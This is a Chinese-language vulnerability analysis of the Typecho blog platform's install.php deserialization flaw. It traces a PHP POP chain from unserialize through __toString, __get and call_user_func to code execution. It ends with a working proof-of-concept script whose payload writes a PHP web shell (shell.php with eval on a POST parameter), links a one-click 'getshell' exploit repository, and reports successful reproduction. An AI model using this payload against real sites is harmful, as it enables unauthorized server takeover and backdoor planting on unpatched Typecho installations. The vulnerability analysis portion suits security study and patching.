漏洞简介

漏洞触发点位于install.php,存在反序列化漏洞可执行任意命令实现前台getshell

影响范围

2017年10月24日之前的所有版本

漏洞分析

漏洞入口点在install.php第229-235行

<?php
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
    Typecho_Cookie::delete('__typecho_config');
    $db = new Typecho_Db($config['adapter'], $config['prefix']);
    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
    Typecho_Db::set($db);
?>

发现有个unserialize()函数,于是跟踪到Typecho_Cookie类的get()方法
位于/var/Typecho/Cookie.php第83-88行

public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
    }

可见__typecho_config的值可以通过COOKIE或者POST传入,是可控的,那么就说明$config是可控的。那么$config可控有什么作用呢,继续回到install.php里面,注意到如下代码

$db = new Typecho_Db($config['adapter'], $config['prefix']);

说明实例化这个类传入的参数也是可控的
跟踪到Typecho_Db
位于/var/Typecho/Db.php第114-135行

public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

这里我们发现$adapterName = 'Typecho_Db_Adapter_' . $adapterName,因为$adapterName是我们可控的,那么当它是一个类的时候与字符串拼接就会触发__toString()方法,全局搜一下__toString()方法
位于/var/Typecho/Feed.php

class Typecho_Feed
    {
    private $_items = array();
    }
public function addItem(array $item)
    {
        $this->_items[] = $item;
    }
......
中间代码略
......
foreach ($this->_items as $item) {
    $content .= '<item>' . self::EOL;
    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName)
}

这里的$item['author']我们是可控的,调用一个不存在的screenName方法就会触发__get()方法,跟踪一下
位于/var/Typecho/Request.php第257-260行

public function __get($key)
    {
        return $this->get($key);
    }

跟踪到get()方法第283-299行

class Typecho_Request
    {
    private $_params = array();
    private $_filter = array();
    ......
    public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }
    }

$value的值通过_params获得,而_params是可控的,所以$value也是可控的,继续跟踪到_applyFilter()函数
第159-171行

private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }

注意到call_user_func()函数,因为_filter是可控的,所以$filter也是可控的,$value上面已经分析了同样是可控得到,两个参数都是可控的那么就可以执行任意命令
所以整个pop链思路是:install.php中的unserialize值可控也就是$config可控,导致$config['adapter']可控=>Db.php中字符串与可控类$config['adapter']拼接触发__toString()方法=>Feed.php__tostring 方法内调用可控制类从不可访问的属性读取数据$item['author']->screenName 触发 __get()方法=>Request.php__get()方法调用get()方法,get()方法再调用_applyFilter()方法中的call_user_func(),其中两个参数可控实现任意命令执行

到达以下的漏洞触发点在前面有两个条件
install.php第59-77行

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port']) && $parts['port'] != 80) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}
1.finish参数不为空
2.Referer为本站

都很好实现

POC编写

<?php
class Typecho_Request
{
    private $_filter = array();
    private $_params = array();

    public function __construct(){
        $this->_filter[0] = 'assert';
        $this->_params['screenName'] = 'file_put_contents("shell.php", "<?php @eval(\$_POST[ghtwf01]); ?>")';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();
    public function __construct(){
        $this->_type = self::RSS2;
        $this->_items[0] = array(
            'author' => new Typecho_Request(),
        );
    }
}

$final = new Typecho_Feed();
$poc = array(
    'adapter' => $final,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($poc)));
?>

一键上马exp

https://github.com/ghtwf01/Typecho-exp

漏洞复现

![1](./images/1.png)
成功写入shell.php
![2](./images/2.png)
![3](./images/3.png)
exp可以直接执行写入shell.php

参考链接

https://www.freebuf.com/vuls/152058.html
https://p2hm1n.com/2020/03/01/Typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/